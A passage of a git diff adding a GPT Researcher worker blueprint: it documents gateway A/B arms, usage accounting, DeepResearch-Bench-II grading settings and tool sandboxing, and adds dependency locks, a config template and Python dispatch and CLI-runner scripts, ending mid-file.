| +| `GPTR_JUDGE_BASE_URL` | `http://127.0.0.1:20128/v1` | `http://127.0.0.1:20128/v1` | +| `GPTR_JUDGE_MODEL` | `cx/gpt-6-astra-max` | `cx/gpt-6-astra-max` | + +Selecting the arm alone supplies these defaults. The sharedgw model has exactly +one slash; `sharedgw/cx/...` is rejected. Existing `cx/gpt-6-*` control variants +remain accepted, but a non-max alias must not be presented as max-effort A/B +acceptance. Both defaults explicitly request max effort. The worker sends +`x-omniroute-compression: allow-lossy` only on engines-on; the judge always uses +control and an independent random session. Receipts retain arm, both base URLs, +models and header **names**, with no session/correlation/header values. + +Before engines-on accounting, the coordinator must verify that +`~/.local/share/omniroute-fw/storage.sqlite` belongs to the 20129 instance, then +set `GPTR_ENGINES_DB_VERIFIED=1`. Without that attestation its database is not read +and evidence remains incomplete. The flag changes observation readiness, not +model routing. Example after that host verification: + +```sh +GPTR_ENGINES_DB_VERIFIED=1 rtk bash blueprints/runtime-workers/gpt-researcher/dispatch.sh start \ + --run-id gptr-engines-001 --arm engines-on --query-file "$query_file" +``` + +All native LLM roles receive the same selected route via JSON configuration. +Worker `max_tokens=12000`, timeout 180 seconds, keyword filtering and the frozen +research bounds are identical across arms. The transport rejects non-GPT-6 +routes, unexpected model endpoints, temperature <=0.1, `json_object` and open +objects in strict schemas. Native free-text planning still uses upstream JSON +repair; no constrained planner is claimed. + +SDK retries stay disabled. Passing `websocket=None` restores GPT Researcher's +native **ten-attempt** retry loop for streamed reports, with native logging and +a fresh key per outer attempt. One transient error no longer necessarily ends +the final report stage. Replay deduplication across outer attempts is not claimed. +Sources: [GPTR@0957c301 utils/llm.py:99–143](https://github.com/assafelovic/gpt-researcher/blob/0957c301ed06c2a5857b834358c7227c739041d4/gpt_researcher/utils/llm.py#L99-L143), +[generic/base.py:146–158](https://github.com/assafelovic/gpt-researcher/blob/0957c301ed06c2a5857b834358c7227c739041d4/gpt_researcher/llm_provider/generic/base.py#L146-L158), +[LangChain OpenAI@1.6.6 HTTP clients](https://github.com/langchain-ai/langchain/blob/langchain-openai%3D%3D1.6.6/libs/partners/openai/langchain_openai/chat_models/base.py#L1022-L1034), +[HTTPX@0.28.1 hooks](https://github.com/encode/httpx/blob/0.28.1/docs/advanced/event-hooks.md#L5-L7). + +## Usage accounting + +Worker and judge phases have separate persisted start/end timestamps and separate +private request/response correlation logs. HTTPX hooks capture response headers +before streaming bodies; the judge captures `requests.Response.headers` through +its module-local transport adapter. IDs never enter public receipts. Complete +capture selects matching correlation IDs; missing headers/transport responses +fall back to the phase's time window, model and path, with an explicit concurrent +caller limitation. Missing captured IDs in the database leave evidence incomplete. + +The worker reads exactly its entry gateway: 20128 control or 20129 engines-on. +The judge reads 20128 in its separate phase. An engines-on worker's forwarded +20128 rows are never added. SQLite opens `?mode=ro` and selects only timestamp, +path, status, model, tokens_in, tokens_cache_read, tokens_reasoning and +correlation_id, plus the two effort fields explicitly required by round-3 section 3. +No prompt, response body, auth table, session tag or unrelated schema is read. +Unrelated paths/models are excluded, counters remain raw and unknown counters +remain unknown. Source: [CPython@v3.12.12 sqlite3.rst:2420–2425](https://github.com/python/cpython/blob/v3.12.12/Doc/library/sqlite3.rst#L2420-L2425). + +Positive reasoning-token rows retain their logged requested/upstream effort; +non-max observations prevent evidence completion. Zero returned reasoning and +unknown usage have separate counts. Null effort does **not** mean effort was +missing: OmniRoute fills those columns only for encrypted reasoning. +Source: [OmniRoute@a58000c callLogs.ts:645–654](https://github.com/diegosouzapw/OmniRoute/blob/a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3/src/lib/usage/callLogs.ts#L645-L654). +The installed gateway build and forwarding behavior still require host observation. + +Engines-on compression is a separate before/after delta of 20129 +`GET /api/analytics/compression?since=all`, using only cumulative `totalRequests` +and `totalTokensSaved`. Both snapshots and the delta are retained; counter resets +or refused observations are not zero savings. Aggregate savings may include other +callers. They are never added to provider usage. +Sources: [OmniRoute@a58000c API:13–25](https://github.com/diegosouzapw/OmniRoute/blob/a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3/src/app/api/analytics/compression/route.ts#L13-L25), +[compressionAnalytics.ts:52–55](https://github.com/diegosouzapw/OmniRoute/blob/a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3/src/lib/db/compressionAnalytics.ts#L52-L55). + +## Native grading + +E2E freezes DRB-II task idx 12 and checks the exact dataset row and prompt hashes. +The original report is exported unchanged. The grader remains +`imlrz/DeepResearch-Bench-II@b38f360603db9531b102aef8c166cedb8509b6f6`. +It runs unchanged `run_evaluation.py` and `aggregate_scores.py` with: + +```text +OPENAI_REASONING_EFFORT=max +OPENAI_MAX_OUTPUT_TOKENS=32768 +OPENAI_TIMEOUT=600 +--max_workers 1 --max_retries 5 --chunk_size 50 +``` + +32768, 50 and 5 follow the [pinned README:271–280](https://github.com/imlrz/DeepResearch-Bench-II/blob/b38f360603db9531b102aef8c166cedb8509b6f6/README.md#L271-L280). +Explicit deviations: GPT-6/max replaces GPT-5.5/medium per this arm contract; +one worker serializes grading; `--max_paper_chars` equals the report length to +preserve the full exported report; a closed JSON schema implements the unchanged +rubric-result schema. The upstream code's retry fallback is actually 10; +explicit 5 selects its documented configuration +([run_evaluation.py:26–29](https://github.com/imlrz/DeepResearch-Bench-II/blob/b38f360603db9531b102aef8c166cedb8509b6f6/run_evaluation.py#L26-L29)). +These settings are identical across both arms. + +The adapter rechecks task identity, complete rubric rows, CSV layout/cells/hashes +and report hashes. All-zero/all-blocked scores stay native scores; no binary +quality threshold is invented. `execution_complete` means report delivery and +grading completed; `evidence_complete` separately requires gateway/accounting +observations. CLI dispatch is ungraded. Sources: +[DRB-II client:85–109](https://github.com/imlrz/DeepResearch-Bench-II/blob/b38f360603db9531b102aef8c166cedb8509b6f6/gpt_client.py#L85-L109), +[aggregation:249–289](https://github.com/imlrz/DeepResearch-Bench-II/blob/b38f360603db9531b102aef8c166cedb8509b6f6/aggregate_scores.py#L249-L289). + +## Security posture + +The model has no shell/Python execution tool. Context-mode exposes only +`ctx_search` and `ctx_index`; indexing accepts bounded literal `content` and +an optional source label. File/directory paths, execution tools and +`ctx_fetch_and_index` are denied at both discovery and call time. Disabling fetch +also removes its redirect/DNS bypass surface rather than adding an incomplete +URL filter to that second client. Each attempt has a separate scratch cwd, +context store and HOME; the checkout is not the MCP project directory. +Sources: [context-mode@v1.0.169 src/server.ts:2237–2309](https://github.com/mksglu/context-mode/blob/v1.0.169/src/server.ts#L2237-L2309), +[FastMCP@v4.0.10 middleware:751–768](https://github.com/PrefectHQ/fastmcp/blob/v4.0.10/docs/servers/middleware.mdx#L751-L768), +[proxy:260–275](https://github.com/PrefectHQ/fastmcp/blob/v4.0.10/docs/servers/providers/proxy.mdx#L260-L275). + +Native GPTR scraping retains its public HTTP(S) URL checks and explicitly sets +`ALLOW_PRIVATE_URLS=false`. The pinned guard denies ordinary loopback/private +addresses and local-file URLs. **Residual risk:** its own source documents a DNS +rebinding window; the BeautifulSoup client follows redirects. This is not an OS +egress sandbox. No model-controlled container shell exists in this recipe, and +no container runtime is introduced in this repair, so container per-port controls, +capability dropping, no-new-privileges and non-root container settings are not +claimed. A future container migration must implement and independently qualify +those controls before enabling any model shell. Sources: +[GPTR@0957c301 url_security.py:8–25,63–122](https://github.com/assafelovic/gpt-researcher/blob/0957c301ed06c2a5857b834358c7227c739041d4/gpt_researcher/utils/url_security.py#L8-L25), +[scraper.py:195–212](https://github.com/assafelovic/gpt-researcher/blob/0957c301ed06c2a5857b834358c7227c739041d4/gpt_researcher/scraper/scraper.py#L195-L212), +[BeautifulSoup fetching:60–73](https://github.com/assafelovic/gpt-researcher/blob/0957c301ed06c2a5857b834358c7227c739041d4/gpt_researcher/scraper/beautiful_soup/beautiful_soup.py#L60-L73). + +QMD remains scoped to `foundation-docs`, `foundation-adoption`, +`us-equities-foundation` and `us-equities-catalog`, lexical-only with bounded +queries and explicit `qmd://collection/path` reads. Memory tools remain read-only +and get an explicit project/workspace. Resources and prompts are refused. +Socraticode and Headroom stay inactive. No MCP server installation is performed. +E2E requires a private 0600 host file outside the checkout using +[host.template.json](host.template.json); `WORKER_CWD` has been removed. +`GPTR_HOST_FILE` selects that file. `GPTR_PREFIX` and `GPTR_STATE_ROOT` optionally +select an operator-owned installation/state root; they are not model arguments. + +Receipts are written by the outside supervisor, which rechecks native output, +grader rows and exported reports independently. The model has no tool for writing +those files. Raw reports, logs, correlation IDs and configuration remain private +under the attempt; only sanitized metadata and hashes enter receipts. Worker and +grader environments clear inherited provider/proxy configuration and disable dotenv. +No credential store is read or copied. + +This SDK/stdio recipe creates no listener, container, volume or network. Any future +worker listener must use `127.0.0.1:3730-3799`; any future container resource must +use `rw-gpt-researcher-` and +`com.native-agent-stack.owner=gpt6-omniroute-framework-integration`. No Docker +cleanup commands are needed for this recipe. + +## Skills and acceptance boundary + +A native SKILL.md loader was not found in the reviewed v3.7.0 sources/release +record; no installed runtime capability absence claim is made. The official +outer-agent skill is a dispatch pointer. Startup/receipts retain empty skill +inventories and never fabricate activations. If a future qualified runtime adds +loading, the coordinator's intended installer remains **pending the skills-program PR**: + +```sh +PYTHONDONTWRITEBYTECODE=1 python3 tools/adoption/install_skills.py \ + --manifest blueprints/runtime-workers/skills/manifest.json \ + --project-dir "$worker_workspace" --agent universal +``` + +The repair used the installed search-first, find-skills, tdd and +verification-before-completion guidance, with no delegation or installation. +[round3-verification.json](round3-verification.json) retains findings, actual +commands/outputs, source references and fail-first controls. These are local +integration checks and synthetic controls, not upstream E2E or provider acceptance. +Round-1/2 records remain historical. + +Host work still required: native installation and `run-upstream-tests.sh`; actual +CLI and E2E in both arms; 20129 database identity; response correlations and delayed +call-log persistence; one injected transient report 5xx; grader empty/JSON-warning +inspection and per-batch reasoning/output budgets; native MCP isolation/discovery; +OTel and child-usage reconciliation; deadline/cancellation/orphan behavior. Inspect +worker report truncation under its 12000-token cap. The documented DNS/redirect +residual must be included in any host security acceptance. No measured savings or +quality improvement is claimed by this repair. diff --git a/blueprints/runtime-workers/gpt-researcher/build-requirements.in b/blueprints/runtime-workers/gpt-researcher/build-requirements.in new file mode 100644 index 000000000..e6de31939 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/build-requirements.in @@ -0,0 +1,4 @@ +# Source and generation command: research.md (local integration lock, not upstream). +poetry-core==2.5.0 +setuptools==84.0.0 +wheel==0.48.0 diff --git a/blueprints/runtime-workers/gpt-researcher/build-requirements.lock b/blueprints/runtime-workers/gpt-researcher/build-requirements.lock new file mode 100644 index 000000000..415b2df1e --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/build-requirements.lock @@ -0,0 +1,12 @@ +packaging==26.3 \ + --hash=sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79 \ + --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c +poetry-core==2.5.0 \ + --hash=sha256:81d04c9253b19d0604718268d781867c8f7b2128e5b25bbf1e84141eec6b89c4 \ + --hash=sha256:98ee465b66f7e14bb9fbe68fb5e00d0cff184f036993ec94610ae4b5612f3add +setuptools==84.0.0 \ + --hash=sha256:51a52592b3b99e102b609654876bd65f19f999935166d1352678931132b0c670 \ + --hash=sha256:f4695c21257f0d9b537ec2692c941d02ee143b7cc1276941349a546573b2ef73 +wheel==0.48.0 \ + --hash=sha256:3217dcc807155e45db462d7ef2431f5ddda0d7273b700d05a67b271ceb1287ab \ + --hash=sha256:94800765601e9171bf5d58d066e640662842bcedcbab982b2c90787a2c987322 diff --git a/blueprints/runtime-workers/gpt-researcher/cli_runner.py b/blueprints/runtime-workers/gpt-researcher/cli_runner.py new file mode 100644 index 000000000..329b33851 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/cli_runner.py @@ -0,0 +1,58 @@ +"""Launch the unchanged upstream CLI main with scoped client hooks. + +assafelovic/gpt-researcher@0957c301 cli.py:306-336,359-362; config/config.py:158-166. +Calling the CLI's parser/main in-process retains HTTPX hooks without patching +its source or replacing its research/report pipeline. No MCP tools are added. +""" +import argparse +import asyncio +import json +import logging +import os +from pathlib import Path +import runpy +import sys +import uuid + +HERE = Path(__file__).resolve().parent +sys.path.insert(0, str(HERE)) +from gateway import GatewayTransport, render_config, select_routes + + +async def execute_cli(prefix, run_dir, route, query, report_type): + pins = json.loads((HERE / "pins.json").read_text()) + source = prefix / "source" / ("gpt-researcher-" + pins["commit"]) + session = uuid.uuid4().hex + cfg = render_config(json.loads((HERE / "config.template.json").read_text()), route, session) + cfg.update(RETRIEVER="duckduckgo", CONTEXT_FILTER="keyword", MCP_SERVERS=[]) + config_path = run_dir / "config.json" + config_path.write_text(json.dumps(cfg, indent=2) + "\n") + config_path.chmod(0o600) + os.chdir(run_dir) + os.environ.update(CONFIG_PATH=str(config_path), OPENAI_BASE_URL=route["base_url"], + OPENAI_API_KEY="local-loopback", RETRIEVER="duckduckgo", CONTEXT_FILTER="keyword", + PYTHON_DOTENV_DISABLED="1", ALLOW_PRIVATE_URLS="false") + for role in ("FAST_LLM", "SMART_LLM", "STRATEGIC_LLM"): + os.environ[role] = cfg[role] + sys.path.insert(0, str(source)) # CLI imports backend.* from its source tree + native = runpy.run_path(str(source / "cli.py"), run_name="gptr_native_cli") + args = native["cli"].parse_args([query, "--report_type", report_type, "--tone", "objective", "--no-pdf", "--no-docx"]) + async with GatewayTransport(session, **route, correlation_log=run_dir / "worker-correlations.jsonl").worker_clients(): + await native["main"](args) + + +def main(): + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("--prefix", required=True, type=Path) + parser.add_argument("--run-dir", required=True, type=Path) + parser.add_argument("--report-type", default="research_report", choices=("research_report", "deep")) + args = parser.parse_args() + run_dir = args.run_dir.resolve() + logging.basicConfig(filename=run_dir / "native.log", level=logging.INFO, + format="%(asctime)s %(name)s %(levelname)s %(message)s", force=True) + asyncio.run(execute_cli(args.prefix.resolve(), run_dir, select_routes(os.environ)["worker"], + (run_dir / "query.txt").read_text(), args.report_type)) + + +if __name__ == "__main__": + main() diff --git a/blueprints/runtime-workers/gpt-researcher/config.template.json b/blueprints/runtime-workers/gpt-researcher/config.template.json new file mode 100644 index 000000000..bd265ae6d --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/config.template.json @@ -0,0 +1,42 @@ +{ + "FAST_LLM": "openai:${GPTR_MODEL}", + "SMART_LLM": "openai:${GPTR_MODEL}", + "STRATEGIC_LLM": "openai:${GPTR_MODEL}", + "LLM_KWARGS": { + "base_url": "http://127.0.0.1:20128/v1", + "api_key": "local-loopback", + "temperature": null, + "reasoning_effort": "max", + "use_responses_api": true, + "output_version": "v0", + "streaming": true, + "max_retries": 0, + "max_tokens": 12000, + "timeout": 180, + "default_headers": {"x-omniroute-session": "${GPTR_SESSION}"} + }, + "RETRIEVER": "duckduckgo", + "CONTEXT_FILTER": "keyword", + "FAST_TOKEN_LIMIT": 6000, + "SMART_TOKEN_LIMIT": 12000, + "STRATEGIC_TOKEN_LIMIT": 8000, + "SUMMARY_TOKEN_LIMIT": 700, + "BROWSE_CHUNK_MAX_LENGTH": 4096, + "MAX_SEARCH_RESULTS_PER_QUERY": 5, + "MAX_ITERATIONS": 3, + "MAX_SUBTOPICS": 3, + "DEEP_RESEARCH_BREADTH": 3, + "DEEP_RESEARCH_DEPTH": 2, + "DEEP_RESEARCH_CONCURRENCY": 2, + "MAX_SCRAPER_WORKERS": 4, + "SCRAPER_RATE_LIMIT_DELAY": 0.5, + "SCRAPER": "bs", + "CURATE_SOURCES": false, + "TOTAL_WORDS": 1200, + "REPORT_SOURCE": "web", + "IMAGE_GENERATION_ENABLED": false, + "MCP_SERVERS": [], + "MCP_STRATEGY": "fast", + "MCP_AUTO_TOOL_SELECTION": true, + "VERBOSE": true +} diff --git a/blueprints/runtime-workers/gpt-researcher/dispatch.py b/blueprints/runtime-workers/gpt-researcher/dispatch.py new file mode 100644 index 000000000..290a25607 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/dispatch.py @@ -0,0 +1,311 @@ +"""Private start/wait/result glue around the pinned upstream CLI and E2E. + +Sources: GPTR@0957c301 cli.py:306-336,359-362; CPython@v3.12.12 +Doc/library/subprocess.rst (Popen/start_new_session), Doc/library/fcntl.rst +(LOCK_EX|LOCK_NB); existing recipe's GNU timeout process-group deadline. +No model-controlled shell, source modifications, service or host installation. +""" +import argparse +from datetime import datetime, timezone +import fcntl +import hashlib +import json +import os +from pathlib import Path +import re +import signal +import stat +import subprocess +import sys +import time + +HERE = Path(__file__).resolve().parent +sys.path.insert(0, str(HERE)) +sys.path.insert(0, str(HERE / "e2e")) +from gateway import select_routes +from receipt import compression_snapshot, compression_delta, gateway_evidence_complete, phase_usage, route_metadata, write_receipt + + +def now(): + return datetime.now(timezone.utc).isoformat(timespec="milliseconds").replace("+00:00", "Z") + + +def atomic_json(path, value): + temporary = path.with_suffix(path.suffix + ".tmp") + temporary.write_text(json.dumps(value, indent=2, sort_keys=True) + "\n") + temporary.chmod(0o600) + temporary.replace(path) + + +def read_json(path, default=None): + try: + return json.loads(path.read_text()) + except (OSError, ValueError): + return {} if default is None else default + + +def envelope(run_id, arm, state="running", exit_class="running", exit_code=None): + return {"schema_version": 1, "run_id": run_id, "arm": arm, "state": state, + "exit_class": exit_class, "exit_code": exit_code, + "result": f"runs/{run_id}/dispatch-result.json" if run_id else None, + "receipt": f"runs/{run_id}/receipt.json" if run_id else None} + + +def classify(native_exit, execution_complete, evidence_complete): + # DRB-II has scalar scores, no binary quality threshold. A negative verdict + # here is a completed native process's failure, never a threshold on scores. + if native_exit in (124, 137, -signal.SIGTERM, -signal.SIGKILL): + return "incomplete_evidence", 30 + if native_exit: + return "negative_verdict", 10 + if not execution_complete or not evidence_complete: + return "incomplete_evidence", 30 + return "pass", 0 + + +def finish(run_dir, job, exit_class, exit_code, receipt=None): + if receipt is None: + receipt = {"schema_version": 3, "arm": job["routes"]["arm"], + "routes": route_metadata(job["routes"]), "execution_complete": False, + "evidence_complete": False, "runtime_error_class": exit_class} + atomic_json(run_dir / "receipt.json", receipt) + result = envelope(run_dir.name, job["routes"]["arm"], "complete", exit_class, exit_code) + result.update(execution_complete=receipt.get("execution_complete", False), + evidence_complete=receipt.get("evidence_complete", False)) + if "evaluation" in receipt: + result["evaluation"] = receipt["evaluation"] + atomic_json(run_dir / "dispatch-result.json", result) + atomic_json(run_dir / "status.json", result) + return result + + +def preflight(job): + prefix = Path(job["prefix"]) + pins = read_json(HERE / "pins.json") + if read_json(prefix / "installation-pins.json") != pins: + raise ValueError("missing or stale installation pins") + if not os.access(prefix / "venv/bin/python", os.X_OK): + raise ValueError("worker runtime unavailable") + source = prefix / "source" / ("gpt-researcher-" + pins["commit"]) + for name, expected in pins["upstream_files"].items(): + if hashlib.sha256((source / name).read_bytes()).hexdigest() != expected: + raise ValueError("installed source changed") + if job["mode"] == "e2e": + from mcp_proxy import load_host + from grader import verified_source + load_host(job["host_file"]) + verified_source(prefix) + if not os.access(prefix / "grader-venv/bin/python", os.X_OK): + raise ValueError("grader runtime unavailable") + + +def child_environment(run_dir, routes): + # No inherited provider keys, proxies, Python paths, dotenv, HOME or caches. + env = {"HOME": str(run_dir / "home"), "PATH": os.environ.get("PATH", "/usr/bin:/bin"), + "LANG": "C.UTF-8", "PYTHONDONTWRITEBYTECODE": "1", "PYTHON_DOTENV_DISABLED": "1", + "XDG_CACHE_HOME": str(run_dir / "cache"), "XDG_CONFIG_HOME": str(run_dir / "config"), + "XDG_STATE_HOME": str(run_dir / "state"), "HF_HOME": str(run_dir / "cache/huggingface"), + "NLTK_DATA": str(run_dir / "cache/nltk"), "ALLOW_PRIVATE_URLS": "false", + "LANGCHAIN_TRACING_V2": "false", "LANGSMITH_TRACING": "false", "DO_NOT_TRACK": "1", + "HF_HUB_OFFLINE": "1", "TRANSFORMERS_OFFLINE": "1", "CHUB_TELEMETRY": "0", "CHUB_FEEDBACK": "0", + "KEYWORD_MAX_RESULTS": "16", "KEYWORD_RELATIVE_THRESHOLD": "0.5", "COMPRESSION_THRESHOLD": "8000", + "RUNTIME_WORKER_ARM": routes["arm"], "GPTR_MODEL": routes["worker"]["model"], + "GPTR_BASE_URL": routes["worker"]["base_url"], "GPTR_JUDGE_MODEL": routes["judge"]["model"], + "GPTR_JUDGE_BASE_URL": routes["judge"]["base_url"]} + return env + + +def native_command(run_dir, job): + prefix = Path(job["prefix"]) + args = [str(prefix / "venv/bin/python"), str(HERE / ("cli_runner.py" if job["mode"] == "cli" else "e2e/run.py")), + "--prefix", str(prefix), "--run-dir", str(run_dir)] + if job["mode"] == "cli": + args += ["--report-type", job["report_type"]] + else: + args += ["--host-file", job["host_file"], "--model", job["routes"]["worker"]["model"], + "--base-url", job["routes"]["worker"]["base_url"], "--judge-model", job["routes"]["judge"]["model"]] + return ["timeout", "--signal=TERM", "--kill-after=20s", "1800s" if job["mode"] == "cli" else "3700s", *args] + + +def cli_report(run_dir): + # Native contract: cli.py:228-245,332-336. Never trust a success exit alone. + paths = list((run_dir / "outputs").glob("*.md")) + if len(paths) != 1 or paths[0].is_symlink() or not stat.S_ISREG(paths[0].stat().st_mode): + raise ValueError("expected one native regular markdown report") + if paths[0].stat().st_size > 8 * 1024 * 1024: + raise ValueError("report exceeds receipt read bound") + data = paths[0].read_bytes() + report = data.decode("utf-8") + if not re.match(r'---\ntask_id: "[a-fA-F0-9-]{36}"\n', report): + raise ValueError("missing native front matter") + header, separator, body = report[4:].partition("\n---\n") + if not separator or not body.strip() or not re.search(r"^sources_count: \d+$", header, re.M): + raise ValueError("missing native report body or metadata") + marker = "Report written to '" + paths[0].relative_to(run_dir).as_posix() + "'" + with (run_dir / "native-stdout.log").open(errors="replace") as handle: + if not any(line.rstrip("\n") == marker for line in handle): + raise ValueError("missing native completion marker") + return {"sha256": hashlib.sha256(data).hexdigest(), "bytes": len(data), + "report": paths[0].relative_to(run_dir).as_posix()} + + +def event(run_dir, name, **fields): + with (run_dir / "invocations.jsonl").open("a") as handle: + handle.write(json.dumps({"event": name, "at": now(), **fields}) + "\n") + + +def supervise(run_dir): + job = read_json(run_dir / "job.json") + lock = (run_dir.parent.parent / "worker.lock").open("a") + try: + try: + fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB) + except BlockingIOError: + return finish(run_dir, job, "busy", 75) + try: + preflight(job) + except (OSError, ValueError, KeyError): + return finish(run_dir, job, "setup_failure", 20) + phases = {"worker_started": now()} + atomic_json(run_dir / "phases.json", phases) + before = compression_snapshot(job["routes"]["arm"]) if job["mode"] == "cli" else None + event(run_dir, "native-started", entrypoint="cli.py" if job["mode"] == "cli" else "GPTResearcher SDK") + with (run_dir / "native-stdout.log").open("w") as stdout, (run_dir / "native-stderr.log").open("w") as stderr: + completed = subprocess.run(native_command(run_dir, job), cwd=run_dir, + env=child_environment(run_dir, job["routes"]), stdout=stdout, stderr=stderr, + pass_fds=(lock.fileno(),)) + event(run_dir, "native-finished", native_exit=completed.returncode) + ended = now() + if job["mode"] == "cli": + phases["worker_ended"] = ended + atomic_json(run_dir / "phases.json", phases) + compression = compression_delta(before, compression_snapshot(job["routes"]["arm"])) + gateway = phase_usage(run_dir, job["routes"], phases, job["engines_db_verified"]) + try: + report = cli_report(run_dir) + except (OSError, ValueError): + report = None + receipt = {"schema_version": 3, "arm": job["routes"]["arm"], "routes": route_metadata(job["routes"]), + "entrypoint": "assafelovic/gpt-researcher@0957c301 cli.py", "phases": phases, + "report": report, "gateway": {"worker": gateway["worker"]}, "compression": compression, + "execution_complete": completed.returncode == 0 and report is not None, + "evidence_complete": gateway_evidence_complete(gateway["worker"]) and + compression["status"] in ("observed", "not_applicable"), + "quality_verdict": "ungraded upstream CLI report", + "limitations": ["Native CLI does not receive scoped MCP configurations.", + "Gateway fallback attribution and aggregate compression can include other callers."]} + else: + phases = read_json(run_dir / "phases.json") + execution = read_json(run_dir / "execution.json") + receipt = write_receipt(run_dir, phases.get("worker_started", ended), ended, job["routes"]["worker"]["model"], + execution.get("framework_version"), execution.get("runtime_error") or + ("ProcessExit" if completed.returncode else None), routes=job["routes"], phases=phases, + engines_verified=job["engines_db_verified"]) + outcome, code = classify(completed.returncode, receipt["execution_complete"], receipt["evidence_complete"]) + return finish(run_dir, job, outcome, code, receipt) + except BaseException: + finish(run_dir, job, "incomplete_evidence", 30) + raise + finally: + lock.close() + + +def poll(run_dir): + result = read_json(run_dir / "dispatch-result.json") + if result: + return result + status = read_json(run_dir / "status.json") + supervisor = read_json(run_dir / "supervisor.json") + if supervisor: + try: + os.kill(supervisor["pid"], 0) + except ProcessLookupError: + return finish(run_dir, read_json(run_dir / "job.json"), "incomplete_evidence", 30) + return status + + +def start(args, state): + run_dir = state / "runs" / args.run_id + run_dir.mkdir(parents=True, mode=0o700) # no reuse: never append a second attempt + status = envelope(args.run_id, args.arm) + atomic_json(run_dir / "status.json", status) + try: + routes = select_routes({**os.environ, "RUNTIME_WORKER_ARM": args.arm}) + query = args.query_file.read_text() if args.mode == "cli" and args.query_file else "" + if args.mode == "cli" and (not query.strip() or len(query) > 64000): + raise ValueError("CLI requires a bounded query file") + except (OSError, ValueError): + # Persist a failed setup even if there is no executable query/config. + job = {"routes": select_routes({"RUNTIME_WORKER_ARM": args.arm})} + return finish(run_dir, job, "setup_failure", 20) + for name in ("home", "cache", "config", "state", "mcp-work", "context-mode"): + (run_dir / name).mkdir(mode=0o700) + job = {"mode": args.mode, "routes": routes, "report_type": args.report_type, + "prefix": str(Path(os.environ.get("GPTR_PREFIX", str(Path.home() / ".local/share/codex-ecosystem/tools/gpt-researcher-3.7.0"))).resolve()), + "host_file": str(Path(os.environ.get("GPTR_HOST_FILE", str(state / "host.json"))).resolve()), + "engines_db_verified": os.environ.get("GPTR_ENGINES_DB_VERIFIED") == "1"} + atomic_json(run_dir / "job.json", job) + (run_dir / "query.txt").write_text(query) + atomic_json(run_dir / "status.json", status) + event(run_dir, "dispatch-started", mode=args.mode, arm=args.arm) + try: + with (run_dir / "supervisor.log").open("w") as log: + process = subprocess.Popen([sys.executable, str(HERE / "dispatch.py"), "_supervise", "--run-id", args.run_id], + stdin=subprocess.DEVNULL, stdout=log, stderr=log, start_new_session=True, + env={**os.environ, "GPTR_STATE_ROOT": str(state), "PYTHONDONTWRITEBYTECODE": "1"}) + atomic_json(run_dir / "supervisor.json", {"pid": process.pid}) + except OSError: + return finish(run_dir, job, "setup_failure", 20) + return status + + +def main(): + os.umask(0o077) + class Parser(argparse.ArgumentParser): + def error(self, message): + raise ValueError(message) + parser = Parser(description=__doc__) + parser.add_argument("action", choices=("start", "wait", "result", "run", "_supervise")) + parser.add_argument("--run-id", default=os.environ.get("GPTR_RUN_ID")) + parser.add_argument("--arm", default=os.environ.get("RUNTIME_WORKER_ARM", "control")) + parser.add_argument("--mode", choices=("cli", "e2e"), default="cli") + parser.add_argument("--query-file", type=Path) + parser.add_argument("--report-type", choices=("research_report", "deep"), default="research_report") + parser.add_argument("--timeout", type=float, default=1) + try: + args = parser.parse_args() + except ValueError: + print(json.dumps(envelope(None, None, "complete", "setup_failure", 20))) + return 20 + valid_id = bool(args.run_id and re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9_-]{0,63}", args.run_id)) + state = Path(os.environ.get("GPTR_STATE_ROOT", str(Path.home() / ".local/state/native-agent-stack/runtime-workers/gpt-researcher"))).resolve() + if not valid_id or not 0 <= args.timeout <= 60 or args.arm not in ("control", "engines-on"): + print(json.dumps(envelope(None, None, "complete", "setup_failure", 20))) + return 20 + run_dir = state / "runs" / args.run_id + try: + if args.action == "_supervise": + return supervise(run_dir)["exit_code"] + if args.action in ("start", "run"): + result = start(args, state) + elif not (run_dir / "status.json").is_file(): + raise ValueError("unknown run") + else: + result = poll(run_dir) + if args.action in ("wait", "run"): + deadline = time.monotonic() + args.timeout + while result["state"] != "complete" and (args.action == "run" or time.monotonic() < deadline): + time.sleep(0.1) + result = poll(run_dir) + print(json.dumps(result, sort_keys=True)) + return result["exit_code"] if result["state"] == "complete" else (0 if args.action == "start" else 76) + except (OSError, ValueError, KeyError) as error: + result = envelope(args.run_id, args.arm if args.arm in ("control", "engines-on") else None, + "complete", "setup_failure", 20) + result["error_class"] = type(error).__name__ + print(json.dumps(result, sort_keys=True)) + return 20 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/blueprints/runtime-workers/gpt-researcher/dispatch.sh b/blueprints/runtime-workers/gpt-researcher/dispatch.sh new file mode 100644 index 000000000..a40b1e90e --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/dispatch.sh @@ -0,0 +1,7 @@ +#!/usr/bin/env bash +# GPTR@0957c301 cli.py:359-362; see dispatch.py for the persistent job contract. +set -euo pipefail +umask 077 +recipe_dir="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" +export PYTHONDONTWRITEBYTECODE=1 +exec python3 "$recipe_dir/dispatch.py" "$@" diff --git a/blueprints/runtime-workers/gpt-researcher/e2e/check.py b/blueprints/runtime-workers/gpt-researcher/e2e/check.py new file mode 100644 index 000000000..e4d4277ac --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/e2e/check.py @@ -0,0 +1,47 @@ +"""Pre-grader transport sanity ONLY; no research-quality verdict. + +DRB-II b38f360 run_evaluation.py:374-378,530-547 consumes unchanged UTF-8 +Markdown at //idx-ID.md. Upstream supplies all rubric scores. +""" +import json +from pathlib import Path +import sys + + +def check(result): + report = result.get("report") if isinstance(result, dict) else None + errors = [] + if not isinstance(report, str): + errors.append("invalid_report_type" if report is not None else "empty_report") + elif not report.strip(): + errors.append("empty_report") + else: + try: + 